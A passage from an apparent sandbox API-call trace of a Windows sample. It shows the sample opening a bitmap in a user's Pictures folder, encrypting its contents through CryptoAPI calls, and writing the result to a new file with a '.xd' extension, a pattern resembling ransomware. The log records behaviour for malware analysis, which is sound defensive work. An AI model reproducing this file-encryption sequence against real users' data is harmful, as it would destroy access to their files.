lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.177] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.179] CryptDestroyHash (hHash=0x164c830) returned 1 [0062.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.179] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.238] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\eagtqd14i1qzakwqa.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.239] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.239] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.239] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.239] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7")) returned 0x10 [0062.240] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\eagtqd14i1qzakwqa.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.240] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.243] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.243] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xa431, lpOverlapped=0x0) returned 1 [0062.245] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.247] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.248] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.248] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.248] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.248] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.248] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.248] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.248] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.248] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.249] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.249] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x1629440, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629440*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.249] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.249] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.249] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.249] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.250] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.250] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.250] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.251] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.251] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.251] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa431, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa440) returned 1 [0062.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.251] CharLowerBuffW (in: lpsz="byte[42049]", cchLength=0xb | out: lpsz="byte[42049]") returned 0xb [0062.251] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.252] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.253] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.253] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1891890*, pdwDataLen=0x130e618*=0xa431, dwBufLen=0xa440 | out: pbData=0x1891890*, pdwDataLen=0x130e618*=0xa440) returned 1 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.253] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.253] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.254] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.256] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.256] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.256] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.256] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0xa440, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0xa440, lpOverlapped=0x0) returned 1 [0062.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.258] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.258] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.258] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0062.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.258] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.259] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.259] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.259] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.259] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.259] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.260] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.260] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.260] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.260] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.260] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.260] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.260] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0062.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.261] 